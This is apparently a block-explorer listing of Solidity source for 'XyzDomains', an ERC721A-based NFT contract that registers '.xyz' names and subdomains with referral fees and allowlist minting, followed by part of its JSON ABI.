            return _currentIndex - _startTokenId();
        }
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        if (owner == address(0)) revert BalanceQueryForZeroAddress();
        return uint256(_addressData[owner].balance);
    }

    /**
     * Returns the number of tokens minted by `owner`.
     */
    function _numberMinted(address owner) internal view returns (uint256) {
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Returns the number of tokens burned by or on behalf of `owner`.
     */
    function _numberBurned(address owner) internal view returns (uint256) {
        return uint256(_addressData[owner].numberBurned);
    }

    /**
     * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
     */
    function _getAux(address owner) internal view returns (uint64) {
        return _addressData[owner].aux;
    }

    /**
     * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
     * If there are multiple variables, please pack them into a uint64.
     */
    function _setAux(address owner, uint64 aux) internal {
        _addressData[owner].aux = aux;
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
        uint256 curr = tokenId;

        unchecked {
            if (_startTokenId() <= curr) if (curr < _currentIndex) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (!ownership.burned) {
                    if (ownership.addr != address(0)) {
                        return ownership;
                    }
                    // Invariant:
                    // There will always be an ownership that has an address and is not burned
                    // before an ownership that does not have an address and is not burned.
                    // Hence, curr will not underflow.
                    while (true) {
                        curr--;
                        ownership = _ownerships[curr];
                        if (ownership.addr != address(0)) {
                            return ownership;
                        }
                    }
                }
            }
        }
        revert OwnerQueryForNonexistentToken();
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return _ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        if (!_exists(tokenId)) revert URIQueryForNonexistentToken();

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenIDandAddress[tokenId])) : '';
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return '';
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        if (to == owner) revert ApprovalToCurrentOwner();

        if (_msgSender() != owner) if(!isApprovedForAll(owner, _msgSender())) {
            revert ApprovalCallerNotOwnerNorApproved();
        }

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view override returns (address) {
        if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public virtual override {
        if (operator == _msgSender()) revert ApproveToCaller();

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, '');
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public virtual override {
        _transfer(from, to, tokenId);
        if (to.isContract()) if(!_checkContractOnERC721Received(from, to, tokenId, _data)) {
            revert TransferToNonERC721ReceiverImplementer();
        }
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned;
    }

    /**
     * @dev Equivalent to `_safeMint(to, quantity, '')`.
     */
    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, '');
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement
     *   {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        uint256 startTokenId = _currentIndex;
        if (to == address(0)) revert MintToZeroAddress();
        if (quantity == 0) revert MintZeroQuantity();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
        // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint64(quantity);
            _addressData[to].numberMinted += uint64(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;
            uint256 end = updatedIndex + quantity;

            if (to.isContract()) {
                do {
                    emit Transfer(address(0), to, updatedIndex);
                    if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
                        revert TransferToNonERC721ReceiverImplementer();
                    }
                } while (updatedIndex < end);
                // Reentrancy protection
                if (_currentIndex != startTokenId) revert();
            } else {
                do {
                    emit Transfer(address(0), to, updatedIndex++);
                } while (updatedIndex < end);
            }
            _currentIndex = updatedIndex;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(address to, uint256 quantity) internal {
        uint256 startTokenId = _currentIndex;
        if (to == address(0)) revert MintToZeroAddress();
        if (quantity == 0) revert MintZeroQuantity();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
        // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint64(quantity);
            _addressData[to].numberMinted += uint64(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;
            uint256 end = updatedIndex + quantity;

            do {
                emit Transfer(address(0), to, updatedIndex++);
            } while (updatedIndex < end);

            _currentIndex = updatedIndex;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = _ownershipOf(tokenId);

        if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();

        bool isApprovedOrOwner = (_msgSender() == from ||
            isApprovedForAll(from, _msgSender()) ||
            getApproved(tokenId) == _msgSender());

        if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
        if (to == address(0)) revert TransferToZeroAddress();

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, from);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            TokenOwnership storage currSlot = _ownerships[tokenId];
            currSlot.addr = to;
            currSlot.startTimestamp = uint64(block.timestamp);

            
            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            TokenOwnership storage nextSlot = _ownerships[nextTokenId];
            if (nextSlot.addr == address(0)) {
                // This will suffice for checking _exists(nextTokenId),
                // as a burned slot cannot contain the zero address.
                if (nextTokenId != _currentIndex) {
                    nextSlot.addr = from;
                    nextSlot.startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Equivalent to `_burn(tokenId, false)`.
     */
    function _burn(uint256 tokenId) internal virtual {
        _burn(tokenId, false);
    }

    /**
     * @dev Destroys `tokenId`.
     * The approval is cleared when the token is burned.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     *
     * Emits a {Transfer} event.
     */
    function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
        TokenOwnership memory prevOwnership = _ownershipOf(tokenId);

        address from = prevOwnership.addr;

        if (approvalCheck) {
            bool isApprovedOrOwner = (_msgSender() == from ||
                isApprovedForAll(from, _msgSender()) ||
                getApproved(tokenId) == _msgSender());

            if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
        }

        _beforeTokenTransfers(from, address(0), tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, from);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            AddressData storage addressData = _addressData[from];
            addressData.balance -= 1;
            addressData.numberBurned += 1;

            // Keep track of who burned the token, and the timestamp of burning.
            TokenOwnership storage currSlot = _ownerships[tokenId];
            currSlot.addr = from;
            currSlot.startTimestamp = uint64(block.timestamp);
            currSlot.burned = true;

            // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            TokenOwnership storage nextSlot = _ownerships[nextTokenId];
            if (nextSlot.addr == address(0)) {
                // This will suffice for checking _exists(nextTokenId),
                // as a burned slot cannot contain the zero address.
                if (nextTokenId != _currentIndex) {
                    nextSlot.addr = from;
                    nextSlot.startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, address(0), tokenId);
        _afterTokenTransfers(from, address(0), tokenId, 1);

        // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
        unchecked {
            _burnCounter++;
        }
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkContractOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
            return retval == IERC721Receiver(to).onERC721Received.selector;
        } catch (bytes memory reason) {
            if (reason.length == 0) {
                revert TransferToNonERC721ReceiverImplementer();
            } else {
                assembly {
                    revert(add(32, reason), mload(reason))
                }
            }
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     * And also called before burning one token.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, `tokenId` will be burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     * And also called after one token has been burned.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
     * transferred to `to`.
     * - When `from` is zero, `tokenId` has been minted for `to`.
     * - When `to` is zero, `tokenId` has been burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}





pragma solidity ^0.8.4;






contract XyzDomains is ERC721A, Ownable, ReentrancyGuard {
    using Strings for uint256;
    uint256 public cost = 0;
    uint256 public ref = 20;
    uint256 public ref_owner = 30;
    uint256 public ref_discount = 20;
    uint256 public subdomains_fee = 10;
    uint256 private maxCharSize=20;
    
    string private domain='.xyz';

    string private BASE_URI = '';
    bool public IS_SALE_ACTIVE = false;
    bool public IS_ALLOWLIST_ACTIVE = false;
    mapping(address => bool) public allowlistAddresses;
    mapping(string => mapping(address => bool)) public subDomains_allowlistAddresses;
    mapping(string => address) public resolveAddress;
    mapping(address => string) public primaryAddress;
    mapping(string => bool) public subDomains_publicSale;
    mapping(string => uint) public subDomains_cost;
    mapping(string => bytes32) public subDomains_allowList;
    mapping(string => uint) public subDomains_allowList_cost;
    mapping(string => mapping(string => string)) public dataAddress;
    bytes32 public merkleRoot;
    bytes _allowChars = "0123456789-_abcdefghijklmnopqrstuvwxyz";
    
   constructor(
    string memory _tokenName,
    string memory _tokenSymbol,
    string memory _hiddenMetadataUri
  ) ERC721A(_tokenName, _tokenSymbol) {
    
  }
 
    
    function _baseURI() internal view virtual override returns (string memory) {
        return BASE_URI;
    }

    function setAddress(string calldata xyz_name, address newresolve) external {
         TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[xyz_name]);
        if (Ownership.addr != msg.sender) revert("Error");
        

    bytes memory result = bytes(primaryAddress[resolveAddress[xyz_name]]);
        if (keccak256(result) == keccak256(bytes(xyz_name))) {
            primaryAddress[resolveAddress[xyz_name]]="";
        }
        resolveAddress[xyz_name]=newresolve;
    }

    function setPrimaryAddress(string calldata xyz_name) external {
        require(resolveAddress[xyz_name]==msg.sender, "Error");
        primaryAddress[msg.sender]=xyz_name;
    }


    function setDataAddress(string calldata xyz_name,string calldata setArea, string  memory newDatas) external {
         TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[xyz_name]);

        if (Ownership.addr != msg.sender) revert("Error");
        dataAddress[xyz_name][setArea]=newDatas;
    }

    function getDataAddress(string memory xyz_name, string calldata Area) public view returns(string memory) {
        return dataAddress[xyz_name][Area];
    }


    function setBaseURI(string memory customBaseURI_) external onlyOwner {
        BASE_URI = customBaseURI_;
    }

    function setMaxCharSize(uint256 maxCharSize_) external onlyOwner {
        maxCharSize = maxCharSize_;
    }
    
     function setAllowChars(bytes memory allwchr) external onlyOwner {
        _allowChars = allwchr;
    }

    function setPrice(uint256 customPrice) external onlyOwner {
        cost = customPrice;
    }

    function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint subdomains_fee_) external onlyOwner {
        ref = ref_;
        ref_owner = ref_owner_;
        ref_discount = ref_discount_;
        subdomains_fee = subdomains_fee_;

    }


    function setSaleActive(bool saleIsActive) external onlyOwner {
        IS_SALE_ACTIVE = saleIsActive;
    }

     function setAllowListSaleActive(bool WhitesaleIsActive) external onlyOwner {
        IS_ALLOWLIST_ACTIVE = WhitesaleIsActive;
    }

    function setSubdomainSaleActive(bool saleIsActive, uint256 customPrice, string calldata xyz_name) public {
        TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[xyz_name]);
        require(Ownership.addr == msg.sender, "Invalid");
        subDomains_cost[xyz_name] = customPrice;
        subDomains_publicSale[xyz_name] = saleIsActive;

    }

    function register(address ref_address, string memory xyz_name)
        public
        payable
    {   
        uint256 price = cost;
        bool is_ref=false;
        uint256 ref_cost=0;
        require(bytes(xyz_name).length<=maxCharSize,"Long name");
        require(bytes(xyz_name).length>0,"Write a name");
        require(_checkName(xyz_name), "Invalid name");
        if (ref_address== 0x0000000000000000000000000000000000000000) {
        price=cost;
        } else {
        if (bytes(primaryAddress[ref_address]).length>0){
        ref_cost=price*ref_owner/100;    
        } else {
        ref_cost=price*ref/100;
        }
        price = price*(100-ref_discount)/100;
        is_ref=true;
        }
        require (tokenAddressandID[xyz_name] == 0 , "This is already taken"); 
        require(IS_SALE_ACTIVE, "Sale is not active!");
        require(msg.value >= price, "Insufficient funds!");
        tokenIDandAddress[_currentIndex]=xyz_name;
        tokenAddressandID[xyz_name]=_currentIndex;
        resolveAddress[xyz_name]=msg.sender;
         if (is_ref) {
        payable(ref_address).transfer(ref_cost);
        }
        _safeMint(msg.sender,1);
    }

     function allowList(string memory xyz_name, bytes32[] calldata _merkleProof)
        public
        payable
    {      
            require(IS_ALLOWLIST_ACTIVE, "Allow List sale is not active!");
            bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
            require(MerkleProof.verify(_merkleProof, merkleRoot, leaf),"Invalid proof!");
            require(bytes(xyz_name).length<=maxCharSize,"Long name");
            require(bytes(xyz_name).length>0,"Write a name");
            require(_checkName(xyz_name), "Invalid name");
            require(allowlistAddresses[msg.sender]!=true, "Claimed!");
            require (tokenAddressandID[xyz_name] == 0 , "This is already taken"); 
            allowlistAddresses[msg.sender] = true;
            tokenIDandAddress[_currentIndex]=xyz_name;
            tokenAddressandID[xyz_name]=_currentIndex;
            resolveAddress[xyz_name]=msg.sender;
            _safeMint(msg.sender,1);
    }


    function registerSubdomain(string memory xyz_name, string memory subdomain_name)
        public
        payable
    {   
        require(IS_SALE_ACTIVE, "Sale is not active!");
        string memory new_domain=string.concat(subdomain_name,'.',xyz_name);
        require(bytes(subdomain_name).length<=maxCharSize,"Long name");
        require(bytes(subdomain_name).length>0,"Write a name");
        require(_checkName(xyz_name), "Invalid name");
        require(_checkName(subdomain_name), "Invalid name");
        require (tokenAddressandID[new_domain] == 0 , "This is already taken"); 
  
        TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[xyz_name]);
        if (Ownership.addr == msg.sender)
        {
        tokenIDandAddress[_currentIndex]=new_domain;
        tokenAddressandID[new_domain]=_currentIndex;
        resolveAddress[new_domain]=msg.sender; 
        _safeMint(msg.sender,1);   
        } else {
        require(subDomains_publicSale[xyz_name]==true, "Only Owner can register");
        require(msg.value >= subDomains_cost[xyz_name], "Insufficient funds!");
        payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100);
        tokenIDandAddress[_currentIndex]=new_domain;
        tokenAddressandID[new_domain]=_currentIndex;
        resolveAddress[new_domain]=msg.sender;
        _safeMint(msg.sender,1);       
        }
    }


    function allowListSubdomain(string memory xyz_name,  string memory subdomain_name, bytes32[] calldata _merkleProof)
        public
        payable
    {      
            string memory new_domain=string.concat(subdomain_name,'.',xyz_name);
            bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
            require(MerkleProof.verify(_merkleProof, subDomains_allowList[xyz_name], leaf),"Invalid proof!");
            require(msg.value >= subDomains_allowList_cost[xyz_name], "Insufficient funds!");


            require(bytes(subdomain_name).length<=maxCharSize,"Long name");
            require(bytes(subdomain_name).length>0,"Write a name");
            require(_checkName(xyz_name), "Invalid name");
            require(_checkName(subdomain_name), "Invalid name");
            require(subDomains_allowlistAddresses[xyz_name][msg.sender]!=true, "Claimed!");
            require (tokenAddressandID[new_domain] == 0 , "This is already taken"); 
            TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[xyz_name]);
            payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100);
            subDomains_allowlistAddresses[xyz_name][msg.sender] = true;
            tokenIDandAddress[_currentIndex]=new_domain;
            tokenAddressandID[new_domain]=_currentIndex;
            resolveAddress[new_domain]=msg.sender;
            _safeMint(msg.sender,1);
    }

    
    function namediff(uint256 tokenId , string calldata new_xyz_name) external onlyOwner {
        tokenIDandAddress[tokenId]=new_xyz_name;
        tokenAddressandID[new_xyz_name]=tokenId;
    }


function walletOfOwnerName(address _owner)
    public
    view
    returns (string[] memory)
  {
    uint256 ownerTokenCount = balanceOf(_owner);
    string[] memory ownedTokenIds = new string[](ownerTokenCount);
    uint256 currentTokenId = 1;
    uint256 ownedTokenIndex = 0;

    while (ownedTokenIndex < ownerTokenCount) {
      address currentTokenOwner = ownerOf(currentTokenId);

      if (currentTokenOwner == _owner) {
        ownedTokenIds[ownedTokenIndex] = string.concat(tokenIDandAddress[currentTokenId],domain);

        ownedTokenIndex++;
      }

      currentTokenId++;
    }

    return ownedTokenIds;
  }


function lastAddresses(uint256 count)
    public
    view
    returns (string[] memory)
  {
    uint256 total = totalSupply();
    string[] memory lastAddr = new string[](count);
    uint256 currentId = total - count;
    uint256 ownedTokenIndex = 0;
    require(currentId>=0,"Invalid");
    while (total > currentId) {
        lastAddr[ownedTokenIndex] = string.concat(tokenIDandAddress[total],domain);
        ownedTokenIndex++;
      total--;
    }

    return lastAddr;
  }


function setMerkleRoot(bytes32 _newMerkleRoot) external onlyOwner {
        merkleRoot = _newMerkleRoot;
    }

function setMerkleRootSubdomain(bytes32 _newMerkleRoot, string memory xyz_name, uint256 _cost) external {
      TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[xyz_name]);
        if (Ownership.addr != msg.sender) revert("Error");

        subDomains_allowList[xyz_name] = _newMerkleRoot;
        subDomains_allowList_cost[xyz_name] = _cost;
    }
    


 function _checkName(string memory _name) public view returns(bool){
        uint allowedChars =0;
        bytes memory byteString = bytes(_name);
        bytes memory allowed = bytes(_allowChars);  
        for(uint i=0; i < byteString.length ; i++){
           for(uint j=0; j<allowed.length; j++){
              if(byteString[i]==allowed[j] )
              allowedChars++;         
           }
        }
        if (allowedChars==byteString.length) { return true; } else { return false; }
       
    }

        /** PAYOUT **/

    function withdraw() public onlyOwner nonReentrant {
    // This will transfer the remaining contract balance to the owner.
    // Do not remove this otherwise you will not be able to withdraw the funds.
    // =============================================================================
    (bool os, ) = payable(owner()).call{value: address(this).balance}('');
    require(os);
    // =============================================================================
  }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_tokenName","type":"string"},{"internalType":"string","name":"_tokenSymbol","type":"string"},{"internalType":"string","name":"_hiddenMetadataUri","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"IS_ALLOWLIST_ACTIVE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IS_SALE_ACTIVE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_name","type":"string"}],"name":"_checkName","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"xyz_name","type":"string"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"allowList","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"xyz_name","type":"string"},{"internalType":"string","name":"subdomain_name","type":"string"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"allowListSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowlistAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"string","name":"","type":"string"}],"name":"dataAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"xyz_name","type":"string"},{"internalType":"string","name":"Area","type":"string"}],"name":"getDataAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"lastAddresses","outputs":[{"internalType":"string[]","name":"","type":"string[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merkleRoot","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"string","name":"new_xyz_name","type":"string"}],"name":"namediff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"primaryAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref_discount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref_owner","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ref_address","type":"address"},{"internalType":"string","name":"xyz_name","type":"string"}],"name":"register","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"xyz_name","type":"string"},{"internalType":"string","name":"subdomain_name","type":"string"}],"name":"registerSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"resolveAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"u